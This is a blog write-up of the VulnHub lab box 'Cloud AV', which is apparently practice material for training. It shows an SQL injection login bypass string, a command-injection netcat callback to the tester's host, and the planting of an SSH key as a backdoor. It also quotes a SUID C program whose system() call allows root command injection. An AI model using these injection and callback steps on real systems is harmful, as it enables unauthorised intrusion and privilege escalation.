ben-dale.co.uk

some guy that does some stuff

05 Apr 2020

VulnHub: Cloud AV

Here’s my write-up for Cloud AV, a VulnHub box created by BorderHackerBlog.

Write-up

The description for this box states the following:

Cloud Anti-Virus Scanner! is a cloud-based antivirus scanning service.

Currently, it's in beta mode. You've been asked to test the setup and find vulnerabilities and escalate privs.

Difficulty: Easy

Tasks involved:
    port scanning
    webapp attacks
    sql injection
    command injection
    brute forcing
    code analysis

Virtual Machine:
    Format: Virtual Machine (Virtualbox OVA)
    Operating System: Linux

Networking:
    DHCP Service: Enabled
    IP Address Automatically assign


This works better with VirtualBox than VMware 

The listed tasks are exploits I have some familiarity with so I decided that this would be a good box to brush up some techniques.

Once I found out what IP the box was running on I scanned the ports using nmap:

kali@kali:~/Documents/vulnhub/borderhackerblog/cloud_av$ nmap -sC -sV 192.168.1.245
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-05 05:06 EDT
Nmap scan report for cloudav (192.168.1.245)
Host is up (0.00042s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6a:42:4b:7c:2a:06:0f:50:4b:32:cf:b8:31:e9:c4:f4 (RSA)
|   256 81:c7:60:0f:d7:1e:56:f7:a3:1e:9f:76:27:bd:31:27 (ECDSA)
|_  256 71:90:c3:26:ba:3b:e8:b3:53:7e:73:53:27:4d:6b:af (ED25519)
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap found two ports open: 22 and 8080. I took a look at 8080 first.

The page returned on port 8080 shows a message asking for an invite code so that you can gain access to the system and “start testing”. I managed to invoke an error page, inputting a single double quote-mark:

Looking closely at the error message, I could see the underlying SQL query:

It was possible to bypass this screen and gain an active session using the input: " or 1=1 -- -

Once I had access I was redirected to a /scan page that prompted me for some input.

After playing around with this input form for a couple of minutes I decided to have a look at the request in Burp.

Given the input for this request, and the output of the response I presumed this request was running shell commands under the hood. I verified this by throwing different commands at the endpoint until one returned something interesting:

I had executed pwd on the box. To confirm this (and to see how far I could push this) I used netcat to listen out for incoming connections on port 8000 on my machine (nc -lvp 8000) and attempted to make a call back to my machine from this injection point.

I used Burp to send another request, with the payload: nc 192.168.1.249 8000 and saw that a connection was made from the box:

Although I had verified that connections could be made back to my machine I still didn’t have a reverse shell. After trying several different reverse shell payloads I managed to get a python reverse shell working:

I was logged in as user scanner. I had a quick look around on the box and then moved to the home directory of scanner to find out what was there.

Looking closely at the output of ls -l above I could see that update_cloudav ran as root, as the SUID bit was set and the owner was root. The source code for update_cloudav was also made available in update_cloudav.c.

#include <stdio.h>

int main(int argc, char *argv[]) {
    char *freshclam="/usr/bin/freshclam";

    if (argc < 2){
        printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
        return 1;
    }

    char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
    sprintf(command, "%s %s", freshclam, argv[1]);
    setgid(0);
    setuid(0);
    system(command);
    return 0;
}

Here, the system method will run whatever is in the command variable as root. The goal was to inject a malicious shell command into command.

I tried a couple of different things but I quickly got bored with the crappy reverse shell. I remembered that port 22 was open and decided to generate an ssh key for user scanner and log in over ssh, so I didn’t drop the reverse shell every time I cmd+C’d.

I copied the private key on to my machine and had to change some perms on the key so that I could use it:

I also forgot to write the public key to the authorized_keys file on the scanner user. After doing that I logged in as scanner over ssh.

This probably wasn’t necessary in the long run but hey, installing backdoors is interesting.

After reading a couple of blog posts on how system shouldn’t be used (for security reasons) I looked back at the code for update_cloudav and identified an injection point:

sprintf(command, "%s %s", freshclam, argv[1]);

Messing around with the quote marks using the input that I controlled (argv[1]) in the above command allowed me to run a command as root:

Once I had confirmed I could run commands as root I entered a slightly more nefarious payload…

and root access was gained. I had a quick look around for some flags but didn’t find any in the usual places, but considering I had root access I decided that this box was “done”.

Final thoughts

This box was a little easier than some of the other boxes I’ve worked on (and is labelled as such so go figure) but was great for brushing up on a little bit of command injection. Thanks BoredHackerBlog!